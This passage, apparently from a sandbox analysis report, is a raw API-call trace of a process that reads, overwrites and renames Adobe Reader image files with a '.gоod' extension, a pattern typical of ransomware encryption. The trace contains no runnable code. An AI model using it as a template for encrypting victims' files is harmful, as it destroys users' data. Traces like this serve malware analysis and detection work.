DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.103] GetFileType (hFile=0x7dc) returned 0x1 [0114.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.103] GetFileType (hFile=0x7dc) returned 0x1 [0114.103] WriteFile (in: hFile=0x7dc, lpBuffer=0x3456e00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3456e00*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0114.156] CloseHandle (hObject=0x7dc) returned 1 [0114.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico", lpFilePart=0x0) returned 0x66 [0114.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico.gоod", lpFilePart=0x0) returned 0x6b [0114.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0114.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x404183e8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20ac)) returned 1 [0114.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0114.156] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\favicon.ico.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\favicon.ico.gоod")) returned 1 [0114.157] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.157] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0114.157] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x360f268 | out: lpFileInformation=0x360f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1185)) returned 1 [0114.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0114.158] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.158] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.158] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.158] GetFileType (hFile=0x7dc) returned 0x1 [0114.158] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.158] GetFileType (hFile=0x7dc) returned 0x1 [0114.158] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0114.158] ReadFile (in: hFile=0x7dc, lpBuffer=0x360f730, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x360f730*, lpNumberOfBytesRead=0x1fdec488*=0x185, lpOverlapped=0x0) returned 1 [0114.161] CloseHandle (hObject=0x7dc) returned 1 [0114.161] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.161] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.161] GetFileType (hFile=0x7dc) returned 0x1 [0114.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.161] GetFileType (hFile=0x7dc) returned 0x1 [0114.161] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1185 [0114.161] WriteFile (in: hFile=0x7dc, lpBuffer=0x3612cc8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x3612cc8*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0114.162] CloseHandle (hObject=0x7dc) returned 1 [0114.162] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.162] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.162] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.162] GetFileType (hFile=0x7dc) returned 0x1 [0114.162] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.162] GetFileType (hFile=0x7dc) returned 0x1 [0114.162] ReadFile (in: hFile=0x7dc, lpBuffer=0x3614fe0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3614fe0*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0114.318] CloseHandle (hObject=0x7dc) returned 1 [0114.318] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.318] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.318] GetFileType (hFile=0x7dc) returned 0x1 [0114.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.318] GetFileType (hFile=0x7dc) returned 0x1 [0114.318] WriteFile (in: hFile=0x7dc, lpBuffer=0x349dba8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x349dba8*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0114.319] CloseHandle (hObject=0x7dc) returned 1 [0114.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png", lpFilePart=0x0) returned 0x6c [0114.319] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png.gоod", lpFilePart=0x0) returned 0x71 [0114.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0114.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x40595aa0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1195)) returned 1 [0114.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0114.319] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations.png.gоod")) returned 1 [0114.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0114.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0114.320] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x350c8e8 | out: lpFileInformation=0x350c8e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2890)) returned 1 [0114.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0114.320] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0114.320] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.320] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.320] GetFileType (hFile=0x7dc) returned 0x1 [0114.320] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.320] GetFileType (hFile=0x7dc) returned 0x1 [0114.320] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0114.320] ReadFile (in: hFile=0x7dc, lpBuffer=0x350cde0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x350cde0*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0114.944] CloseHandle (hObject=0x7dc) returned 1 [0114.944] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0114.944] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.944] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.944] GetFileType (hFile=0x7dc) returned 0x1 [0114.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.944] GetFileType (hFile=0x7dc) returned 0x1 [0114.944] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x2890 [0114.944] WriteFile (in: hFile=0x7dc, lpBuffer=0x3622de8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x3622de8*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0114.945] CloseHandle (hObject=0x7dc) returned 1 [0114.945] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0114.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0114.945] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0114.945] GetFileType (hFile=0x7dc) returned 0x1 [0114.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0114.945] GetFileType (hFile=0x7dc) returned 0x1 [0114.946] ReadFile (in: hFile=0x7dc, lpBuffer=0x3625118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3625118*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0115.181] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0115.719] CloseHandle (hObject=0x7dc) returned 1 [0115.719] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0115.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0115.719] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0115.719] GetFileType (hFile=0x7dc) returned 0x1 [0115.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0115.719] GetFileType (hFile=0x7dc) returned 0x1 [0115.719] WriteFile (in: hFile=0x7dc, lpBuffer=0x34c0e50*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34c0e50*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0115.719] CloseHandle (hObject=0x7dc) returned 1 [0115.720] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x73 [0115.720] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x78 [0115.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0115.720] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x412fec6a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x28a0)) returned 1 [0115.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0115.720] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\illustrations_retina.png.gоod")) returned 1 [0115.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0115.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0115.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), fInfoLevelId=0x0, lpFileInformation=0x396f158 | out: lpFileInformation=0x396f158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8c)) returned 1 [0115.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0115.722] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0115.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0115.722] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0115.722] GetFileType (hFile=0x7dc) returned 0x1 [0115.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0115.722] GetFileType (hFile=0x7dc) returned 0x1 [0115.722] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0115.723] ReadFile (in: hFile=0x7dc, lpBuffer=0x396f5f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x396f5f0*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0115.724] CloseHandle (hObject=0x7dc) returned 1 [0115.724] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif", lpFilePart=0x0) returned 0x67 [0115.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0115.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\ind_prog.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\ind_prog.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0115.724] GetFileType (hFile=0x7dc) returned 0x1 [0115.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0115.724] GetFileType (hFile=0x7dc) returned 0x1 [0115.724] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x4d8c [0115.724] WriteFile (in: hFile=0x7dc, lpBuffer=0x39708c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x39708c8*, 